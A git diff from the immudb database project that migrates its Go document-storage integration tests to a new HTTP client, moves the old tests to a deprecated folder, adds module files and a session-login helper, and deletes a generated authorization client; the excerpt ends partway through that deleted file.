"github.com/stretchr/testify/require" ) func TestCreateCollection(t *testing.T) { - client := getAuthorizedDocumentsClient() - collection := GetStandarizedRandomString() - indexKeys := make(map[string]immudbdocuments.DocumentschemaIndexOption) - primaryKeys := make(map[string]immudbdocuments.DocumentschemaIndexOption) - stringType := immudbdocuments.STRING - primaryKeys["test"] = immudbdocuments.DocumentschemaIndexOption{ - Type: &stringType, - } - req := immudbdocuments.DocumentServiceCollectionCreateJSONRequestBody{ - IndexKeys: &indexKeys, - PrimaryKeys: &primaryKeys, - Name: &collection, - } - response, _ := client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) - assert.True(t, response.StatusCode() == 200) - assert.True(t, *response.JSON200.Collection.Name == collection) + client := getAuthorizedClient() + + collection, err := createRandomCollection(client) + require.NoError(t, err) + require.NotNil(t, collection) +} - response, _ = client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) - assert.True(t, response.JSONDefault.Error != nil) +func TestGetCollection(t *testing.T) { + client := getAuthorizedClient() + + collection, err := createRandomCollection(client) + require.NoError(t, err) + + response, err := client.CollectionGetWithResponse(context.Background(), &httpclient.CollectionGetParams{ + Name: collection.Name, + }) + require.NoError(t, err) + require.True(t, response.StatusCode() == 200) + require.True(t, *response.JSON200.Collection.Name == *collection.Name) } func TestListCollections(t *testing.T) { - client := getAuthorizedDocumentsClient() - collectionName := CreateAndGetStandardTestCollection(client) + client := getAuthorizedClient() + + newCollection, err := createRandomCollection(client) + require.NoError(t, err) + + response, _ := client.CollectionListWithResponse(context.Background(), httpclient.CollectionListJSONRequestBody{}) + require.True(t, response.StatusCode() == 200) - response, _ := client.DocumentServiceCollectionListWithResponse(context.Background(), immudbdocuments.DocumentServiceCollectionListJSONRequestBody{}) - assert.True(t, response.StatusCode() == 200) collectionFound := false + for _, collection := range *response.JSON200.Collections { - if *collection.Name == collectionName { + if *collection.Name == *newCollection.Name { collectionFound = true - assert.True(t, collection.PrimaryKeys != nil) - assert.True(t, collection.IndexKeys == nil) break } } - assert.True(t, collectionFound) -} -func TestGetCollection(t *testing.T) { - client := getAuthorizedDocumentsClient() - collectionName := CreateAndGetStandardTestCollection(client) - - response, _ := client.DocumentServiceCollectionGetWithResponse(context.Background(), &immudbdocuments.DocumentServiceCollectionGetParams{ - Name: &collectionName, - }) - assert.True(t, response.StatusCode() == 200) - assert.True(t, *response.JSON200.Collection.Name == collectionName) + require.True(t, collectionFound) } diff --git a/test/document_storage_tests/documents_tests/documents_test.go b/test/document_storage_tests/documents_tests/documents_test.go index befbde88bb..6be2c4a5ce 100644 --- a/test/document_storage_tests/documents_tests/documents_test.go +++ b/test/document_storage_tests/documents_tests/documents_test.go @@ -21,54 +21,73 @@ import ( "fmt" "testing" - "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" + "github.com/codenotary/immudb/pkg/api/httpclient" "github.com/google/uuid" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestCreateDocument(t *testing.T) { - client := getAuthorizedDocumentsClient() + client := getAuthorizedClient() + id := uuid.New() documentId := id.String() + documentToInsert := make(map[string]interface{}) documentToInsert["_id"] = id.String() documentToInsert["name"] = "John" documentToInsert["surname"] = "Doe" documentToInsert["age"] = 30 - documentsToInsert := []map[string]interface{}{documentToInsert} - collectionName := CreateAndGetStandardTestCollection(client) - req := immudbdocuments.DocumentschemaDocumentInsertRequest{ - Collection: &collectionName, - Document: &documentsToInsert, + collection, err := createRandomCollection(client) + require.NoError(t, err) + + req := httpclient.ModelDocumentInsertRequest{ + Collection: collection.Name, + Document: &documentToInsert, } - response, _ := client.DocumentServiceDocumentInsertWithResponse(context.Background(), req) - assert.True(t, response.StatusCode() == 200) - page := int64(1) - perPage := int64(100) - operator := immudbdocuments.EQ + response, _ := client.DocumentInsertWithResponse(context.Background(), req) + require.True(t, response.StatusCode() == 200) + fieldName := "_id" - query := []immudbdocuments.DocumentschemaDocumentQuery{ - { - Field: &fieldName, - Value: &documentId, - Operator: &operator, + operator := httpclient.EQ + + query := httpclient.ModelQuery{ + Expressions: &[]httpclient.ModelQueryExpression{ + { + FieldComparisons: &[]httpclient.ModelFieldComparison{ + { + Field: &fieldName, + Operator: &operator, + Value: &map[string]interface{}{ + "_id": &documentId, + }, + }, + }, + }, }, } - searchReq := immudbdocuments.DocumentschemaDocumentSearchRequest{ - Collection: &collectionName, + + page := int64(1) + perPage := int64(100) + + searchReq := httpclient.ModelDocumentSearchRequest{ + Collection: collection.Name, + Query: &query, Page: &page, PerPage: &perPage, - Query: &query, } - searchResponse, _ := client.DocumentServiceDocumentSearchWithResponse(context.Background(), searchReq) + + searchResponse, _ := client.DocumentSearchWithResponse(context.Background(), searchReq) fmt.Println(searchResponse.StatusCode()) - assert.True(t, searchResponse.StatusCode() == 200) - documents := *searchResponse.JSON200.Results - first := documents[0] - assert.True(t, first["_id"] == documentId) - assert.True(t, first["age"] == 30) - assert.True(t, first["name"] == "John") - assert.True(t, first["surname"] == "Doe") + require.True(t, searchResponse.StatusCode() == 200) + + revisions := *searchResponse.JSON200.Revisions + + firstDocument := (*revisions[0].Document) + + require.True(t, firstDocument["_id"] == documentId) + require.True(t, firstDocument["age"] == 30) + require.True(t, firstDocument["name"] == "John") + require.True(t, firstDocument["surname"] == "Doe") } diff --git a/test/document_storage_tests/documents_tests/go.mod b/test/document_storage_tests/documents_tests/go.mod new file mode 100644 index 0000000000..57b50d20be --- /dev/null +++ b/test/document_storage_tests/documents_tests/go.mod @@ -0,0 +1,17 @@ +module github.com/codenotary/immudb-client-examples/go/immudb-document-rest + +go 1.19 + +require ( + github.com/google/uuid v1.3.0 + github.com/stretchr/testify v1.8.2 +) + +require ( + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/deepmap/oapi-codegen v1.8.2 // indirect + github.com/pkg/errors v0.9.1 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/test/document_storage_tests/documents_tests/go.sum b/test/document_storage_tests/documents_tests/go.sum new file mode 100644 index 0000000000..80069acda0 --- /dev/null +++ b/test/document_storage_tests/documents_tests/go.sum @@ -0,0 +1,89 @@ +github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/deepmap/oapi-codegen v1.8.2 h1:SegyeYGcdi0jLLrpbCMoJxnUUn8GBXHsvr4rbzjuhfU= +github.com/deepmap/oapi-codegen v1.8.2/go.mod h1:YLgSKSDv/bZQB7N4ws6luhozi3cEdRktEqrX88CvjIw= +github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/getkin/kin-openapi v0.61.0/go.mod h1:7Yn5whZr5kJi6t+kShccXS8ae1APpYTW6yheSwk8Yi4= +github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= +github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= +github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= +github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= +github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= +github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= +github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= +github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= +github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= +github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= +github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= +github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8= +github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/test/document_storage_tests/documents_tests/utils.go b/test/document_storage_tests/documents_tests/utils.go new file mode 100644 index 0000000000..202900667b --- /dev/null +++ b/test/document_storage_tests/documents_tests/utils.go @@ -0,0 +1,107 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "context" + "fmt" + "net/http" + "os" + + "github.com/codenotary/immudb/pkg/api/httpclient" + + "github.com/google/uuid" +) + +var baseURL = GetEnv("DOCUMENTS_TEST_BASEURL", "http://localhost:8091/api/v2") + +func GetEnv(key, defaultValue string) string { + value := os.Getenv(key) + if len(value) == 0 { + return defaultValue + } + return value +} +func GetStandarizedRandomString() string { + return uuid.New().String() +} + +func getClient() *httpclient.ClientWithResponses { + client, err := httpclient.NewClientWithResponses(baseURL) + if err != nil { + panic(err) + } + return client +} + +func getAuthorizedClient() *httpclient.ClientWithResponses { + client := getClient() + + defaultLogin := "immudb" + defaultPassword := "immudb" + defaultDatabase := "defaultdb" + + response, err := client.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ + Username: &defaultLogin, + Password: &defaultPassword, + Database: &defaultDatabase, + }) + if err != nil { + panic(err) + } + if response.StatusCode() != 200 { + panic("Could not login") + } + + authClient, err := httpclient.NewClientWithResponses( + baseURL, + httpclient.WithRequestEditorFn( + func(ctx context.Context, req *http.Request) error { + req.Header.Set("grpc-metadata-sessionid", *response.JSON200.SessionID) + return nil + }, + ), + ) + if err != nil { + panic(err) + } + + return authClient +} + +func createRandomCollection(client *httpclient.ClientWithResponses) (*httpclient.ModelCollection, error) { + collectionName := GetStandarizedRandomString() + + idField := "_docid" + + req := httpclient.CollectionCreateJSONRequestBody{ + Collection: &httpclient.ModelCollection{ + Name: &collectionName, + IdFieldName: &idField, + }, + } + + response, err := client.CollectionCreateWithResponse(context.Background(), req) + if err != nil { + return nil, err + } + if response.StatusCode() != 200 { + return nil, fmt.Errorf("no 200 response: %d", response.StatusCode()) + } + + return response.JSON200.Collection, nil +} diff --git a/test/document_storage_tests/documents_tests_deprecated/collections_test.go b/test/document_storage_tests/documents_tests_deprecated/collections_test.go new file mode 100644 index 0000000000..4920cc438e --- /dev/null +++ b/test/document_storage_tests/documents_tests_deprecated/collections_test.go @@ -0,0 +1,76 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "context" + "testing" + + "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" + "github.com/stretchr/testify/assert" +) + +func TestCreateCollection(t *testing.T) { + client := getAuthorizedDocumentsClient() + collection := GetStandarizedRandomString() + indexKeys := make(map[string]immudbdocuments.DocumentschemaIndexOption) + primaryKeys := make(map[string]immudbdocuments.DocumentschemaIndexOption) + stringType := immudbdocuments.STRING + primaryKeys["test"] = immudbdocuments.DocumentschemaIndexOption{ + Type: &stringType, + } + req := immudbdocuments.DocumentServiceCollectionCreateJSONRequestBody{ + IndexKeys: &indexKeys, + PrimaryKeys: &primaryKeys, + Name: &collection, + } + response, _ := client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) + assert.True(t, response.StatusCode() == 200) + assert.True(t, *response.JSON200.Collection.Name == collection) + + response, _ = client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) + assert.True(t, response.JSONDefault.Error != nil) +} + +func TestListCollections(t *testing.T) { + client := getAuthorizedDocumentsClient() + collectionName := CreateAndGetStandardTestCollection(client) + + response, _ := client.DocumentServiceCollectionListWithResponse(context.Background(), immudbdocuments.DocumentServiceCollectionListJSONRequestBody{}) + assert.True(t, response.StatusCode() == 200) + collectionFound := false + for _, collection := range *response.JSON200.Collections { + if *collection.Name == collectionName { + collectionFound = true + assert.True(t, collection.PrimaryKeys != nil) + assert.True(t, collection.IndexKeys == nil) + break + } + } + assert.True(t, collectionFound) +} + +func TestGetCollection(t *testing.T) { + client := getAuthorizedDocumentsClient() + collectionName := CreateAndGetStandardTestCollection(client) + + response, _ := client.DocumentServiceCollectionGetWithResponse(context.Background(), &immudbdocuments.DocumentServiceCollectionGetParams{ + Name: &collectionName, + }) + assert.True(t, response.StatusCode() == 200) + assert.True(t, *response.JSON200.Collection.Name == collectionName) +} diff --git a/test/document_storage_tests/documents_tests/create_collections_test.go b/test/document_storage_tests/documents_tests_deprecated/create_collections_test.go similarity index 100% rename from test/document_storage_tests/documents_tests/create_collections_test.go rename to test/document_storage_tests/documents_tests_deprecated/create_collections_test.go diff --git a/test/document_storage_tests/documents_tests_deprecated/documents_test.go b/test/document_storage_tests/documents_tests_deprecated/documents_test.go new file mode 100644 index 0000000000..befbde88bb --- /dev/null +++ b/test/document_storage_tests/documents_tests_deprecated/documents_test.go @@ -0,0 +1,74 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "context" + "fmt" + "testing" + + "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" + "github.com/google/uuid" + "github.com/stretchr/testify/assert" +) + +func TestCreateDocument(t *testing.T) { + client := getAuthorizedDocumentsClient() + id := uuid.New() + documentId := id.String() + documentToInsert := make(map[string]interface{}) + documentToInsert["_id"] = id.String() + documentToInsert["name"] = "John" + documentToInsert["surname"] = "Doe" + documentToInsert["age"] = 30 + documentsToInsert := []map[string]interface{}{documentToInsert} + collectionName := CreateAndGetStandardTestCollection(client) + + req := immudbdocuments.DocumentschemaDocumentInsertRequest{ + Collection: &collectionName, + Document: &documentsToInsert, + } + response, _ := client.DocumentServiceDocumentInsertWithResponse(context.Background(), req) + assert.True(t, response.StatusCode() == 200) + page := int64(1) + perPage := int64(100) + operator := immudbdocuments.EQ + fieldName := "_id" + query := []immudbdocuments.DocumentschemaDocumentQuery{ + { + Field: &fieldName, + Value: &documentId, + Operator: &operator, + }, + } + searchReq := immudbdocuments.DocumentschemaDocumentSearchRequest{ + Collection: &collectionName, + Page: &page, + PerPage: &perPage, + Query: &query, + } + searchResponse, _ := client.DocumentServiceDocumentSearchWithResponse(context.Background(), searchReq) + fmt.Println(searchResponse.StatusCode()) + assert.True(t, searchResponse.StatusCode() == 200) + documents := *searchResponse.JSON200.Results + first := documents[0] + assert.True(t, first["_id"] == documentId) + assert.True(t, first["age"] == 30) + assert.True(t, first["name"] == "John") + assert.True(t, first["surname"] == "Doe") + +} diff --git a/test/document_storage_tests/documents_tests/documents_test_utils.go b/test/document_storage_tests/documents_tests_deprecated/documents_test_utils.go similarity index 100% rename from test/document_storage_tests/documents_tests/documents_test_utils.go rename to test/document_storage_tests/documents_tests_deprecated/documents_test_utils.go diff --git a/test/document_storage_tests/documents_tests/login_test.go b/test/document_storage_tests/documents_tests_deprecated/login_test.go similarity index 100% rename from test/document_storage_tests/documents_tests/login_test.go rename to test/document_storage_tests/documents_tests_deprecated/login_test.go diff --git a/test/document_storage_tests/immudbhttpclient/immudbauth/authorizationclient.go b/test/document_storage_tests/immudbhttpclient/immudbauth/authorizationclient.go deleted file mode 100644 index 3752b43e38..0000000000 --- a/test/document_storage_tests/immudbhttpclient/immudbauth/authorizationclient.go +++ /dev/null @@ -1,418 +0,0 @@ -// Package immudbauth provides primitives to interact with the openapi HTTP API. -// -// Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. -package immudbauth - -import ( - "bytes" - "context" - "encoding/json" - "fmt" - "io" - "net/http" - "net/url" - "strings" -) - -// AuthorizationschemaOpenSessionRequestV2 defines model for authorizationschemaOpenSessionRequestV2. -type AuthorizationschemaOpenSessionRequestV2 struct { - Database *string `json:"database,omitempty"` - Password *string `json:"password,omitempty"` - Username *string `json:"username,omitempty"` -} - -// AuthorizationschemaOpenSessionResponseV2 defines model for authorizationschemaOpenSessionResponseV2. -type AuthorizationschemaOpenSessionResponseV2 struct { - ExpirationTimestamp *int32 `json:"expirationTimestamp,omitempty"` - InactivityTimestamp *int32 `json:"inactivityTimestamp,omitempty"` - ServerUUID *string `json:"serverUUID,omitempty"` - Token *string `json:"token,omitempty"` -} - -// ProtobufAny `Any` contains an arbitrary serialized protocol buffer message along with a -// URL that describes the type of the serialized message. -// -// Protobuf library provides support to pack/unpack Any values in the form -// of utility functions or additional generated methods of the Any type. -// -// Example 1: Pack and unpack a message in C++. -// -// Foo foo = ...; -// Any any; -// any.PackFrom(foo); -// ... -// if (any.UnpackTo(&foo)) { -// ... -// } -// -// Example 2: Pack and unpack a message in Java. -// -// Foo foo = ...; -// Any any = Any.pack(foo); -// ... -// if (any.is(Foo.class)) { -// foo = any.unpack(Foo.class); -// } -// -// Example 3: Pack and unpack a message in Python. -// -// foo = Foo(...) -// any = Any() -// any.Pack(foo) -// ... -// if any.Is(Foo.DESCRIPTOR): -// any.Unpack(foo) -// ... -// -// Example 4: Pack and unpack a message in Go -// -// foo := &pb.Foo{...} -// any, err := ptypes.MarshalAny(foo) -// ... -// foo := &pb.Foo{} -// if err := ptypes.UnmarshalAny(any, foo); err != nil { -// ... -// } -// -// The pack methods provided by protobuf library will by default use -// 'type.googleapis.com/full.type.name' as the type URL and the unpack -// methods only use the fully qualified type name after the last '/' -// in the type URL, for example "foo.bar.com/x/y.z" will yield type -// name "y.z". -// -// JSON -// ==== -// The JSON representation of an `Any` value uses the regular -// representation of the deserialized, embedded message, with an -// additional field `@type` which contains the type URL. Example: -// -// package google.profile; -// message Person { -// string first_name = 1; -// string last_name 